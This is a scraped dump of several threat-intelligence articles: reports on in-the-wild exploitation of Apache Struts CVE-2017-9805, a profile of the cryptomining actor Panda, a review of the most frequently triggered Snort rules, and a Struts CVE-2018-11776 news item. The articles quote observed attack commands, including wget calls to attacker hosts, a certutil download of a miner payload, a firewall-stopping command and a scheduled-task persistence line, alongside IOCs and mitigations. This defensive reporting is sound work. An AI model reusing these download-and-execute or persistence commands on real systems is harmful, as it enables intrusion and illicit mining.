"AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-09-08T17:15:47", "description": "<i>This post authored by <a href=\"https://twitter.com/infosec_nick\">Nick Biasini</a> with contributions from <a href=\"https://twitter.com/nschmx\">Alex Chiu</a>.</i><br /><br />Earlier this week, a critical vulnerability in <a href=\"https://cwiki.apache.org/confluence/display/WW/S2-052\">Apache Struts</a> was publicly disclosed in a security advisory. This new vulnerability, identified as CVE-2017-9805, manifests due to the way the REST plugin uses XStreamHandler with an instance of XStream for deserialization without any type filtering. As a result, a remote, unauthenticated attacker could achieve remote code execution on a host running a vulnerable version of Apache Struts.<br /><br />This isn't the only vulnerability that has been recently identified in Apache Struts. <a href=\"http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html\">Earlier this year</a>, Talos responded to a zero-day vulnerability that was under active exploitation in the wild. Talos has observed exploitation activity targeting CVE-2017-9805 in a way that is similar to how CVE-2017-5638 was exploited back in March 2017.<br /><br /><a name='more'></a><br /><h3 id=\"h.yjfcx7oxvccx\">Details</h3>Immediately after the reports surfaced related to this exploit, Talos began researching how it operated and began work to develop coverage to prevent successful exploitation. This was achieved and we immediately began seeing active exploitation in the wild. Thus far, exploitation appears to be primarily scanning activity, with outbound requests that appear to be identifying systems that are potentially vulnerable. Below is a sample of the type of HTTP requests we have been observing.<br /><blockquote class=\"tr_bq\"><string>/bin/sh</string><string>-c</string><string>wget -qO /dev/null http://wildkind[.]ru:8082/?vulnerablesite</string></blockquote>This would initiate a wget request that would write the contents of the HTTP response to /dev/null. This indicates it is purely a scanning activity that identifies to the remote server which websites are potentially vulnerable to this attack. This is also a strong possibility since it includes the compromised website in the URL. There was one other small variation that was conducting a similar request to the same website.<br /><blockquote class=\"tr_bq\"><string>/bin/sh</string><string>-c</string><string>wget -qO /dev/null http://wildkind[.]ru:8082/?`echo ...vulnerablesite...`</string></blockquote>During our research we found that the majority of the activity was trying to POST to the path of /struts2-rest-showcase/orders/3. Additionally most of the exploitation attempts are sending the data to wildkind[.]ru, with a decent amount of the requests originating from the IP address associated with wildkind[.]ru, 188.120.246[.]215.<br /><br /><table align=\"center\" cellpadding=\"0\" cellspacing=\"0\" class=\"tr-caption-container\" style=\"margin-left: auto; margin-right: auto; text-align: center;\"><tbody><tr><td style=\"text-align: center;\"><a href=\"https://2.bp.blogspot.com/-43pwp2mOpHE/WbHJQlk9djI/AAAAAAAABTo/cc3B9_qI3U4-sU6F-Eq3Rf2MsdlzqJB8wCLcBGAs/s1600/image2.png\" imageanchor=\"1\" style=\"margin-left: auto; margin-right: auto;\"><img border=\"0\" data-original-height=\"867\" data-original-width=\"1600\" height=\"346\" src=\"https://2.bp.blogspot.com/-43pwp2mOpHE/WbHJQlk9djI/AAAAAAAABTo/cc3B9_qI3U4-sU6F-Eq3Rf2MsdlzqJB8wCLcBGAs/s640/image2.png\" width=\"640\" /></a></td></tr><tr><td class=\"tr-caption\" style=\"text-align: center;\">Example of in the wild exploitation</td></tr></tbody></table>Other exploitation attempts have been identified where Talos believes another threat actor appears to be exploiting the vulnerability for a different purpose. An example of the web requests found in the exploitation attempts can be found below.<br /><blockquote class=\"tr_bq\"><string>wget</string><string>hxxp://st2buzgajl.alifuzz[.]com/052</string></blockquote>Unfortunately, we were unable to retrieve the potentially malicious file that was being served at this particular location. If the previous Struts vulnerability is any indicator, the payloads could vary widely and encompass threats such as DDoS bots, spam bots, and various other malicious payloads.<br /><br /><h3 id=\"h.1teoyjf4qh2n\">IOCs</h3>IP Addresses Observed: <br /><ul><li>188.120.246[.]215</li><li>101.37.175[.]165</li><li>162.158.182[.]26</li><li>162.158.111[.]235</li><li>141.101.76[.]226</li><li>141.101.105[.]240</li></ul>Domains Contacted:<br /><ul><li>wildkind[.]ru</li><li>st2buzgajl.alifuzz[.]com</li></ul>Commonly Used Path:<br /><ul><li>/struts2-rest-showcase/orders/3</li></ul><h3 id=\"h.yv6ldyfuky10\">Mitigation</h3>Apache has released a new version of Struts that resolves this issue. If you believe that you have a potentially vulnerable version of Apache struts there are two options: upgrade to Struts 2.5.13 / Struts 2.3.34 or remove the REST plugin if it's not actively being used. Instructions to achieve this are provided as part of the <a href=\"https://cwiki.apache.org/confluence/display/WW/S2-052\">security bulletin</a> and should be reviewed and tested before applying in a production environment. In the event it's not possible to upgrade or remove the REST plugin, limiting it to server normal pages and JSONs may help limit the risk the compromise.<br /><h3 id=\"h.dp04v9qgtelp\">Conclusion</h3>This is the latest in a long line of vulnerabilities that are exposing servers to potential exploitation. In today's threat landscape a lot of attention is paid to endpoint systems being compromised, and with good reason, as it accounts for the majority of the malicious activity we observe on a daily basis. However, that does not imply that patching of servers should not be an extremely high priority. These types of systems, if compromised, can potentially expose critical data and systems to adversaries.<br /><br />The vulnerability is yet another example of how quickly miscreants will move to take advantage of these types of issues. Within 48 hours of disclosure we were seeing systems activity exploiting the vulnerability. To their credit the researchers disclosed the vulnerability responsibly and a patch was available before disclosure occurred.

This is far from the most sophisticated actor we've ever seen, but it still has been one of the most active attackers we've seen in Cisco Talos threat trap data. Panda's willingness to persistently exploit vulnerable web applications worldwide, their tools allowing them to traverse throughout networks, and their use of RATs, means that organizations worldwide are at risk of having their system resources misused for mining purposes or worse, such as exfiltration of valuable information. \n \nPanda has shown time and again they will update their infrastructure and exploits on the fly as security researchers publicize indicators of compromises and proof of concepts. Our threat traps show that Panda uses exploits previously used by Shadow Brokers \u2014 a group infamous for publishing information from the National Security Agency \u2014 and Mimikatz, an open-source credential-dumping program. \n \nTalos first became aware of Panda in the summer of 2018, when they were engaging in the successful and widespread \"MassMiner\" campaign. Shortly thereafter, we linked Panda to another widespread illicit mining campaign with a different set of command and control (C2) servers. Since then, this actor has updated its infrastructure, exploits and payloads. We believe Panda is a legitimate threat capable of spreading cryptocurrency miners that can use up valuable computing resources and slow down networks and systems. Talos confirmed that organizations in the banking, healthcare, transportation, telecommunications, IT services industries were affected in these campaigns. \n \n\n\n[](<https://1.bp.blogspot.com/-lf0T3p1bzKg/XYDfgN1h6mI/AAAAAAAAB7o/HvFMxzb8QhQbUO85JND7yrZfjwu7xAfTACLcBGAsYHQ/s1600/image4.png>)\n\n## \n\n\n## First sightings of the not-so-elusive Panda\n\nWe first observed this actor in July of 2018 exploiting a WebLogic vulnerability ([CVE-2017-10271](<https://nvd.nist.gov/vuln/detail/CVE-2017-10271>)) to drop a miner that was associated with a campaign called \"[MassMiner](<https://www.alienvault.com/blogs/labs-research/massminer-malware-targeting-web-servers>)\" through the wallet, infrastructure, and post-exploit PowerShell commands used. \n \nPanda used massscan to look for a variety of different vulnerable servers and then exploited several different vulnerabilities, including the aforementioned Oracle bug and a remote code execution vulnerability in Apache Struts 2 ([CVE-2017-5638](<https://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html>)). They used PowerShell post-exploit to download a miner payload called \"downloader.exe,\" saving it in the TEMP folder under a simple number filename such as \"13.exe\" and executing it. The sample attempts to download a config file from list[.]idc3389[.]top over port 57890, as well as kingminer[.]club. The config file specifies the Monero wallet to be used as well as the mining pool. In all, we estimate that Panda has amassed an amount of Monero that is currently valued at roughly $100,000. \n\n\n[](<https://1.bp.blogspot.com/-7Ed1781BBr4/XYDfrwNRtKI/AAAAAAAAB7s/nxr6w2FndDcpsmMKiH8a45uPRZmxCy3FgCLcBGAsYHQ/s1600/image6.png>)\n\n \nBy October 2018, the config file on list[.]idc3389[.]top, which was then an instance of an HttpFileServer (HFS), had been downloaded more than 300,000 times. \n\n\n[](<https://1.bp.blogspot.com/-fpXoN_jw0UU/XYDfx_msBlI/AAAAAAAAB70/SEJLWIIEjUI0rt_HBXROjCsy3KH2RXUrACLcBGAsYHQ/s1600/image5.png>)\n\nThe sample also installs Gh0st RAT, which communicates with the domain rat[.]kingminer[.]club. In several samples, we also observed Panda dropping other hacking tools and exploits. This includes the credential-theft tool Mimikatz and UPX-packed artifacts related to the Equation Group set of exploits. The samples also appear to scan for open SMB ports by reaching out over port 445 to IP addresses in the 172.105.X.X block. \n \nOne of Panda's C2 domains, idc3389[.]top, was registered to a Chinese-speaking actor, who went by the name \"Panda.\" \n \n\n\n## Bulehero connection\n\nAround the same time that we first observed these initial Panda attacks, we observed very similar TTPs in an attack using another C2 domain: bulehero[.]in. The actors used PowerShell to download a file called \"download.exe\" from b[.]bulehero[.]in, and similarly, save it as another simple number filename such as \"13.exe\" and execute it. The file server turned out to be an instance of HFS hosting four malicious files. \n\n\n[](<https://1.bp.blogspot.com/-GbyctYMnyRo/XYDgCR5tbSI/AAAAAAAAB78/3xs1gHqsMD8svymJLjA81TtAbCC4XsTZwCLcBGAsYHQ/s1600/image8.png>)\n\n \nRunning the sample in our sandboxes, we observed several elements that connect it to the earlier MassMiner campaign. First, it issues a GET request for a file called cfg.ini hosted on a different subdomain of bulehero[.]in, c[.]bulehero[.]in, over the previously observed port 57890. Consistent with MassMiner, the config file specifies the site from which the original sample came, as well as the wallet and mining pool to be used for mining. \n \nAdditionally, the sample attempts to shut down the victim's firewall with commands such as \"cmd /c net stop MpsSvc\". The malware also modifies the access control list to grant full access to certain files through running cacsl.exe. \n \nFor example: \n\n\n> cmd /c schtasks /create /sc minute /mo 1 /tn \"Netframework\" /ru system /tr \"cmd /c echo Y|cacls C:\\Windows\\appveif.exe /p everyone:F\n\nBoth of these behaviors have also been observed in previous MassMiner infections. \n \nThe malware also issues a GET request to Chinese-language IP geolocation service ip138[.]com for a resource named ic.asp which provides the machine's IP address and location in Chinese. This behavior was also observed in the MassMiner campaign. \n \nAdditionally, appveif.exe creates a number of files in the system directory. Many of these files were determined to be malicious by multiple AV engines and appear to match the exploits of vulnerabilities targeted in the MassMiner campaign. For instance, several artifacts were detected as being related to the \"Shadow Brokers\" exploits and were installed in a suspiciously named directory: \"\\Windows\\InfusedAppe\\Eternalblue139\\specials\\\". \n \n\n\n## Evolution of Panda\n\nIn January of 2019, Talos analysts observed Panda exploiting a recently disclosed vulnerability in the ThinkPHP web framework (CNVD-2018-24942) in order to spread similar malware. ThinkPHP is an open-source web framework popular in China. \n \nPanda used this vulnerability to both directly download a file called \"download.exe\" from a46[.]bulehero[.]in and upload a simple PHP web shell to the path \"/public/hydra.php\", which is subsequently used to invoke PowerShell to download the same executable file. The web shell provides only the ability to invoke arbitrary system commands through URL parameters in an HTTP request to \"/public/hydra.php\". Download.exe would download the illicit miner payload and also engages in SMB scanning, evidence of Panda's attempt to move laterally within compromised organizations. \n \nIn March 2019, we observed the actor leveraging new infrastructure, including various subdomains of the domain hognoob[.]se. At the time, the domain hosting the initial payload, fid[.]hognoob[.]se, resolved to the IP address 195[.]128[.]126[.]241, which was also associated with several subdomains of bulehero[.]in. \n \nAt the time, the actor's tactics, techniques, and procedures (TTPs) remained similar to those used before. Post-exploit, Panda invokes PowerShell to download an executable called \"download.exe\" from the URL hxxp://fid[.]hognoob[.]se/download.exe and save it in the Temp folder, although Panda now saved it under a high-entropy filename i.e. 'C:/Windows/temp/autzipmfvidixxr7407.exe'. This file then downloads a Monero mining trojan named \"wercplshost.exe\" from fid[.]hognoob[.]se as well as a configuration file called \"cfg.ini\" from uio[.]hognoob[.]se, which provides configuration details for the miner. \n\n\n[](<https://1.bp.blogspot.com/-6B6MTCm_3U8/XYDgMB6l-xI/AAAAAAAAB8A/g3ux2o0d2KgGC-H6Sy9BiLx4KUTSo8LwQCLcBGAsYHQ/s1600/image7.png>)\n\n \n\"Wercplshost.exe\" contains exploit modules designed for lateral movement, many of which are related to the \"Shadow Brokers\" exploits, and engages in SMB brute-forcing. The sample acquires the victim's internal IP and reaches out to Chinese-language IP geolocation site 2019[.]ip138[.]com to get the external IP, using the victim's Class B address as a basis for port scanning. It also uses the open-source tool Mimikatz to collect victim passwords. \n \nSoon thereafter, Panda began leveraging an updated payload. Some of the new features of the payload include using Certutil to download the secondary miner payload through the command: \"certutil.exe -urlcache -split -f http://fid[.]hognoob[.]se/upnpprhost.exe C:\\Windows\\Temp\\upnpprhost.exe\". The coinminer is also run using the command \"cmd /c ping 127.0.0.1 -n 5 & Start C:\\Windows\\ugrpkute\\\\[filename].exe\". \n \nThe updated payload still includes exploit modules designed for lateral movement, many of which are related to the \"Shadow Brokers\" exploits. One departure, however, is previously observed samples acquire the victim's internal IP and reach out to Chinese-language IP geolocation site 2019[.]ip138[.]com to get the external IP, using the victim's Class B address as a basis for port scanning. This sample installs WinPcap and open-source tool Masscan and scans for open ports on public IP addresses saving the results to \"Scant.txt\" (note the typo). The sample also writes a list of hardcoded IP ranges to \"ip.txt\" and passes it to Masscan to scan for port 445 and saves the results to \"results.txt.\" This is potentially intended to find machines vulnerable to MS17-010, given the actor's history of using EternalBlue. The payload also leverages previously-used tools, launching Mimikatz to collect victim passwords \n \nIn June, Panda began targeting a newer WebLogic vulnerability, [CVE-2019-2725](<https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html>), but their TTPs remained the same. \n \n\n\n## Recent activity\n\nPanda began employing new C2 and payload-hosting infrastructure over the past month. We observed several attacker IPs post-exploit pulling down payloads from the URL hxxp[:]//wiu[.]fxxxxxxk[.]me/download.exe and saving it under a random 20-character name, with the first 15 characters consisting of \"a\" - \"z\" characters and the last five consisting of digits (e.g., \"xblzcdsafdmqslz19595.exe\"). Panda then executes the file via PowerShell. Wiu[.]fxxxxxxk[.]me resolves to the IP 3[.]123[.]17[.]223, which is associated with older Panda C2s including a46[.]bulehero[.]in and fid[.]hognoob[.]se. \n \nBesides the new infrastructure, the payload is relatively similar to the one they began using in May 2019, including using Certutil to download the secondary miner payload located at hxxp[:]//wiu[.]fxxxxxxk[.]me/sppuihost.exe and using ping to delay execution of this payload. The sample also includes Panda's usual lateral movement modules that include Shadow Brokers' exploits and Mimikatz. \n \nOne difference is that several samples contained a Gh0st RAT default mutex \"DOWNLOAD_SHELL_MUTEX_NAME\" with the mutex name listed as fxxk[.]noilwut0vv[.]club:9898. The sample also made a DNS request for this domain. The domain resolved to the IP 46[.]173[.]217[.]80, which is also associated with several subdomains of fxxxxxxk[.]me and older Panda C2 hognoob[.]se. Combining mining capabilities and Gh0st RAT represents a return to Panda's earlier behavior. \n \nOn August 19, 2019, we observed that Panda has added another set of domains to his inventory of C2 and payload-hosting infrastructure. In line with his previous campaigns, we observed multiple attacker IPs pulling down payloads from the URL hxxp[:]//cb[.]f*ckingmy[.]life/download.exe. In a slight departure from previous behavior, the file was saved as \"BBBBB,\", instead of as a random 20-character name. cb[.]f*ckingmy[.]life (URL censored due to inappropriate language) currently resolves to the IP 217[.]69[.]6[.]42, and was first observed by Cisco Umbrella on August 18. \n \nIn line with previous samples Talos has analyzed over the summer, the initial payload uses Certutil to download the secondary miner payload located at http[:]//cb[.]fuckingmy[.]life:80/trapceapet.exe. This sample also includes a Gh0st RAT mutex, set to \"oo[.]mygoodluck[.]best:51888:WervPoxySvc\", and made a DNS request for this domain. The domain resolved to 46[.]173[.]217[.]80, which hosts a number of subdomains of fxxxxxxk[.]me and hognoob[.]se, both of which are known domains used by Panda. The sample also contacted li[.]bulehero2019[.]club. \n \nCisco Threat Grid's analysis also showed artifacts associated with Panda's typical lateral movement tools that include Shadow Brokers exploits and Mimikatz. The INI file used for miner configuration lists the mining pool as mi[.]oops[.]best, with a backup pool at mx[.]oops[.]best. \n\n\n[](<https://1.bp.blogspot.com/-2-PgtrQPKAE/XYDgeQ-XHeI/AAAAAAAAB8Q/2AJE3Rk0IHURq9oeqIjqMw-Ft37AHxp_ACLcBGAsYHQ/s1600/image1.png>)\n\n[](<https://1.bp.blogspot.com/-uPJKV52J9K0/XYDgjBhDZaI/AAAAAAAAB8U/sfPHOODu5c8pmRVRrcPdlaQ6G-VnpW9VQCLcBGAsYHQ/s1600/image3.png>)\n\n## \n\n\n## Conclusion\n\nPanda's operational security remains poor, with many of their old and current domains all hosted on the same IP and their TTPs remaining relatively similar throughout campaigns. The payloads themselves are also not very sophisticated. \n \nHowever, system administrators and researchers should never underestimate the damage an actor can do with widely available tools such as Mimikatz. Some information from HFS used by Panda shows that this malware had a wide reach and rough calculations on the amount of Monero generated show they made around 1,215 XMR in profits through their malicious activities, which today equals around $100,000, though the amount of realized profits is dependent on the time they sold. \n \nPanda remains one of the most consistent actors engaging in illicit mining attacks and frequently shifts the infrastructure used in their attacks. They also frequently update their targeting, using a variety of exploits to target multiple vulnerabilities, and is quick to start exploiting known vulnerabilities shortly after public POCs become available, becoming a menace to anyone slow to patch. And, if a cryptocurrency miner is able to infect your system, that means another actor could use the same infection vector to deliver other malware. Panda remains an active threat and Talos will continue to monitor their activity in order to thwart their operations. \n\n\n## \n\n\n## COVERAGE\n\nFor coverage related to blocking illicit

"description": "_This blog post was authored by Benny Ketelslegers of Cisco Talos_ \n_ \n_The cybersecurity field shifted quite a bit in 2018. With the boom of cryptocurrency, we saw a transition from ransomware to [cryptocurrency miners](<https://blog.talosintelligence.com/2018/01/malicious-xmr-mining.html>). Talos researchers identified APT campaigns including [VPNFilter](<https://blog.talosintelligence.com/2018/05/VPNFilter.html>), predominantly affecting small business and home office networking equipment, as well as [Olympic Destroyer](<https://blog.talosintelligence.com/2018/02/olympic-destroyer.html>), apparently designed to disrupt the Winter Olympics. \n \nBut these headline-generating attacks were only a small part of the day-to-day protection provided by security systems. In this post, we'll review some of the findings created by investigating the most frequently triggered SNORT\u24c7 rules as reported by [Cisco Meraki](<https://meraki.cisco.com/>) systems. These rules protected our customers from some of the most common attacks that, even though they aren't as widely known, could be just as disruptive as something like Olympic Destroyer. Snort is a free, open-source network intrusion prevention system. Cisco Talos provides new rule updates to Snort every week to protect against software vulnerabilities and the latest malware. \n \n \n\n\n### Top 5 Rules\n\n \nSnort rules trigger on network behavior ranging from attempts to probe networked systems, attempts at exploiting systems, to detecting known malicious command and control traffic. Each rules detects specific network activity, and each rules has a unique identifier. This identifier is comprised of three parts. The Generator ID (GID), the rule ID (SID) and revision number. The GID identifies what part of Snort generates the event. For example, \"1\" indicates an event has been generated from the text rules subsystem. The SID uniquely identifies the rule itself. You can search for information on SIDs via the search tool on the [Snort website](<https://www.snort.org/>). The revision number is the version of the rule. Be sure to use the latest revision of any rule. \n \nSnort rules are classified into different classes based on the type of activity detected with the most commonly reported class type being \"policy-violation\" followed by \"trojan-activity\" and \"attempted-admin.\" Some less frequently reported class types such as \"attempted user\" and \"web-application-attack\" are particularly interesting in the context of detecting malicious inbound and outbound network traffic. \n \nCisco Meraki-managed devices protect clients networks and give us an overview of the wider threat environment. These are the five most triggered rules within policy, in reverse order. \n \n\n\n#### No. 5: 1:43687:2 \"suspicious .top dns query\"\n\n \nThe .top top-level domain extension is a generic top level domain and has been observed in malware campaigns such as the [Angler exploit kit](<https://blog.talosintelligence.com/2016/03/angler-slips-hook.html>) and the [Necurs botnet](<https://blog.talosintelligence.com/2018/01/the-many-tentacles-of-necurs-botnet.html>). This top-level domain can be bought as cheap as 1 USD and is the reason it is very popular with cybercriminals for their malware and phishing campaigns. \n \nThis signature triggers on DNS lookups for .top domains. Such a case doesn\u2019t necessarily mean that such a lookup is malicious in nature, but it can be a useful indicator for suspicious activity on a network. A sharp increase in this rule triggering on a network should be investigated as to the cause, especially if a single device is responsible for a large proportion of these triggers. \n \n\n\n#### No. 4: 1:41978:5 \"Microsoft Windows SMB remote code execution attempt\"\n\n \nIn May 2017, a [vulnerability](<https://www.us-cert.gov/ncas/current-activity/2017/03/16/Microsoft-SMBv1-Vulnerability>) in SMBv1 was published that could allow remote attackers to execute arbitrary code via crafted packets. This led to the outbreak of the network worms [Wannacry](<https://blog.talosintelligence.com/2017/05/wannacry.html>) and [Nyetya](<https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html>) in 2017. Although it did not make our top five rules in 2017, it seems there was still a lot scanning or attempts to exploit this vulnerability in 2018. This shows the importance of network defenses and patching management programs as often as possible. \n \nOrganizations should ensure that devices running Windows are fully patched. Additionally, they should have SMB ports 139 and 445 blocked from all externally accessible hosts. \n \n\n\n#### No. 3: 1:39867:4 \"Suspicious .tk dns query\"\n\n \nThe .tk top-level domain is owned by the South Pacific territory of Tokelau. The domain registry allows for the registration of domains without payment, which leads to the .tk top level domain being one of the most prolific in terms of the number of domain names registered. However, this free registration leads to .tk domains frequently being abused by attackers. \n \nThis rule triggers on DNS lookups for .tk domains. Such a case doesn't necessarily mean that such a lookup is malicious in nature, but it can be a useful indicator for suspicious activity on a network. A sharp increase in this rule triggering on a network should be investigated as to the cause, especially if a single device is responsible for a large proportion of these triggers. \n \nOther, similar rules detecting DNS lookups to other rarely used top-level domains such as .bit, .pw and .top also made into our list of top 20 most triggered rules. \n \n\n\n#### No. 2: 1:35030:1 & 1:23493:6 \"Win.Trojan.Zeus variant outbound connection\"\n\n \nHistorically, one of the most high-profile pieces of malware is [Zeus/Zbot](<https://talosintelligence.com/zeus_trojan>), a notorious trojan that has been employed by botnet operators around the world to steal banking credentials and other personal data, participate in click-fraud schemes, and likely numerous other criminal enterprises. It is the engine behind notorious botnets such as Kneber, which made headlines worldwide. \n \nIn the beginning of 2018, Talos observed a [Zeus variant](<https://blog.talosintelligence.com/2018/01/cfm-zeus-variant.html>) that was launched using the official website of Ukraine-based accounting software developer Crystal Finance Millennium (CFM). \n \nThis vector is similar to the attack outlined by Talos in the Nyetya and companion MeDoc blog post. Ukrainian authorities and businesses were alerted by local security firm (ISSP) that another accounting software maker had been compromised. CFM's website was being used to distribute malware that was retrieved by malware downloaders attached to messages associated with a concurrent spam campaign. \n \nEver since the source code of Zeus leaked in 2011, we have seen various variants appear such as [Zeus Panda](<https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html>) which poisoned Google Search results in order to spread. \n \n\n\n#### No. 1: 1:46237:1 \"PUA-OTHER Cryptocurrency Miner outbound connection attempt\" & \"1:45549:4 PUA-OTHER XMRig cryptocurrency mining pool connection attempt\"\n\n \nOver the past year, we have seen a seismic shift in the threat landscape with the explosive growth of malicious cryptocurrency mining. Cisco Talos created various rules throughout the year to combat Cryptocurrency mining threats and this rule deployed in early 2018, proved to be the number 1 showing the magnitude of attacks this rule detected and protected against. This threat has spread across the internet like wildfire and is being delivered through multiple vectors including email, web, and active exploitation. It is no surprise that these two combined rules are the most often observed triggered Snort rule in 2018. \n \nCryptocurrency mining can use up a considerable amount of computing power and energy that would otherwise be incredibly valuable to any organization. \n \nFor an overview of all related snort rules and full details of all the methods and technologies Cisco Talos uses to thwart cryptocurrency mining, download the Talos whitepaper [here](<https://www.talosintelligence.com/resources/59>). \n \n\n\n \n\n\n[](<https://2.bp.blogspot.com/-XcaLfnec00Q/XFsp6eXg_rI/AAAAAAAAACI/fxssE2sbuesqNKpMzg1Lbqnod5iU9u4oQCLcBGAs/s1600/012419-Snort-Sigs-Blog-outbound-connection-attempt.png>)\n\n \n\n\n### INBOUND and OUTBOUND\n\n \nNetwork traffic can cross an IDS from external to internal (inbound), from the internal to external (outbound) interfaces or depending on the architecture of your environment the traffic can avoid being filtered by a firewall or inspected by an IPS/IDS device; this will generally be your local/internal traffic on the same layer2 environment. An alert may be triggered and logged for any of these scenarios depending on the rulesets in place and the configuration of your sensors. \n \n \nOutbound rules were triggered during 2018 much more frequently than internal, which in turn, were more frequent than inbound with ratios of approximately 6.9 to 1. The profile of the alerts are different for each direction. Inbound alerts are likely to detect traffic that can be attributed to attacks on various server-side applications such as web applications or databases. Outbound alerts are more likely to contain detection of outgoing traffic caused by malware infected endpoints. \n \nLooking at these data sets in more detail gives us the following: \n \n\n\n[](<https://4.bp.blogspot.com/-p8YZlzLMQXE/XFsqAliaQcI/AAAAAAAAACM/XhgffiU6hUYdyd21OCDF_QJAEpBKYYn1gCLcBGAs/s1600/012419-Snort-Sigs-Blog-inbound-signature-types.png>)\n\n \nWhile trojan activity was rule type we saw the most of in 2018, making up 42.5 percent of all alerts, we can now see \"Server-Apache\" taking the lead followed by \"OS-Windows\" as a close second. \n \nThe \"Server-Apache\" class type covers Apache related attacks which in this case consisted mainly of 1:41818 and 1:41819 detecting the Jakarta Multipart parser vulnerability in Apache Struts ([CVE-2017-5638](<https://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html>)). Later in 2017, a second Apache Struts vulnerability was discovered under CVE-2017-9805, making this rule type the most observed one for 2018 IDS alerts. \n \n\"OS-Windows\" class alerts were mainly triggered by Snort rule 1:41978, which covers the SMBv1 vulnerability exploited by [Wannacry](<https://blog.talosintelligence.com/2017/05/wannacry.html>) and [NotPetya](<https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html>) (MS-17-010). \n \nThe \"Browser-plugins\" class type covers attempts to exploit vulnerabilities in browsers that deal with plugins to the browser. (Example: ActiveX). Most activity for 2018 seems to consist of Sid 1:8068 which is amongst others linked to the \"Microsoft Outlook Security Feature Bypass Vulnerability\" (CVE-2017-11774). \n\n\n \n\n\n[](<http://2.bp.blogspot.com/-lKN6ktW9YRg/XF2L_nSsNfI/AAAAAAAAAVw/6G830jVQQA8On0TJLRDs0enzFolMyl-0QCK4BGAYYCw/s1600/012419-Snort-Sigs-Blog-outbound-signature-types.png>)[](<http://1.bp.blogspot.com/-hrZUBsvx4sw/XF2Py-Y-_-I/AAAAAAAAAWI/TU0EcE5KCNwNtIznDY93Bt6Hjn0WCih4QCK4BGAYYCw/s1600/012419-Snort-Sigs-Blog-outbound-signature-types.png>)\n\n \n \nFor outbound connections, we observed a large shift toward the \"PUA-Other\" class, which is mainly a cryptocurrency miner outbound connection attempt. Cryptomining can take up a large amount of valuable enterprise resources in terms of electricity and CPU power. To see how to block Cryptomining in an enterprise using Cisco Security Products, have a look at our [w](<https://blog.talosintelligence.com/2018/07/blocking-cryptomining.html>)[hitepaper](<https://blog.talosintelligence.com/2018/07/blocking-cryptomining.html>) published in July 2018. \n \nThe most frequently triggered rules within the \"Malware-CNC\" rule class are the Zeus trojan activity rules discussed above. \n\n\n### Conclusion\n\n \n\n\nSnort rules detect potentially malicious network activity. Understanding why particular rules are triggered and how they can protect systems is a key part of network security. Snort rules can detect and block attempts at exploiting vulnerable systems, indicate when a system is under attack, when a system has been compromised, and help keep users safe from interacting with malicious systems. They can also be used to detect reconnaissance and pre-exploitation activity, indicating that an attacker is attempting to identify weaknesses in an organization's security posture. These can be used to indicate when an organization should be in a heightened state of awareness about the activity occurring within their environment and more suspicious of security alerts being generated. \n \nAs the threat environment changes, it is necessary to ensure that the correct rules are in place protecting systems. Usually, this means ensuring that the most recent rule set has been promptly downloaded and installed. As shown in the Apache Struts vulnerability data, the time between a vulnerability being discovered and exploited may be short. \n \nOur most commonly triggered rule in 2018: 1:46237:1 \"PUA-OTHER Cryptocurrency Miner outbound connection attempt\" highlights the necessity of protecting IoT devices from attack. Malware such as Mirai seeks to compromise these systems to use them as part of a botnet to put to use for further malicious behaviour. Network architectures need to take these attacks into consideration and ensure that all networked devices no matter how small are protected. \n \nSecurity teams need to understand their network architectures and understand the significance of rules triggering in their environment. For full understanding of the meaning of triggered detections it is important for the rules to be open source. Knowing what network content caused a rule to trigger tells you about your network and allows you to keep abreast of the threat environment as well as the available protection. \n \nAt Talos, we are proud to maintain a set of open source Snort rules and support the thriving community of researchers contributing to Snort and helping to keep networks secure against attack. We're also proud to contribute to the training and education of network engineers through the Cisco Networking Academy, as well through the release of additional open-source tools and the detailing of attacks on our blog. \n \nYou can [subscribe](<https://www.snort.org/products>) to Talos' newest rule detection functionality for as low as $29 a year with a personal account.

Another Struts vulnerability -- but scarier than last year\u2019s. An Android spyware that records your phone calls. These are some of the security news that have caught our attention.\n\n### New Struts Bug Should Be Patched Yesterday\n\nApache patched a serious remote code execution vulnerability ([CVE-2018-11776](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11776>)) affecting all supported versions -- 2.3 to 2.3.34 and 2.5 to 2.5.16 -- of the widely used Struts Java application framework. The bug is considered more dangerous than the one disclosed last year in Struts that was exploited in the massive data breach at Equifax.\n\nIn the Apache [security bulletin](<https://cwiki.apache.org/confluence/display/WW/S2-057>), the vulnerability is rated \u201cCritical\u201d and users are advised to immediately upgrade to Struts 2.3.35 or Struts 2.5.17.\n\nThe remote code execution becomes possible \u201cwhen using results with no namespace and in same time, its upper action(s) have no or wildcard namespace\u201d and \u201cwhen using url tag which doesn\u2019t have value and action set,\u201d the bulletin reads.\n\nOrganizations should upgrade to the patched Struts versions even if their applications aren\u2019t vulnerable to this bug. \u201cAn inadvertent change to a Struts configuration file may render the application vulnerable in the future,\u201d [stated](<https://semmle.com/news/apache-struts-CVE-2018-11776>) Semmle, whose security researcher Man Yue Mo discovered this vulnerability.\n\nUpgrading should take first priority, considering that Struts is widely used for public web apps, vulnerable systems are easy to identify, and the bug is easy to exploit, according to the company.\n\n\u201cA hacker can find their way in within minutes, and exfiltrate data or stage further attacks from the compromised system. It\u2019s crucially important to update affected systems immediately; to wait is to take an irresponsible risk,\u201d said Pavel Avgustinov, a Semmle VP.\n\nWriting in the Qualys blog, Product Management Director Jimmy Graham [noted](<https://blog.qualys.com/securitylabs/2018/08/23/detecting-apache-struts-2-namespace-rce-cve-2018-11776>) that the vulnerability does not exist with a default configuration of Struts, but that \u201cit does exist in commonly seen configurations for some Struts plugins.\u201d\n\n\u201cDue to the ease of exploitation and relatively common configuration that is required, this vulnerability should be patched immediately for all applications that use Struts 2,\u201d Graham wrote.

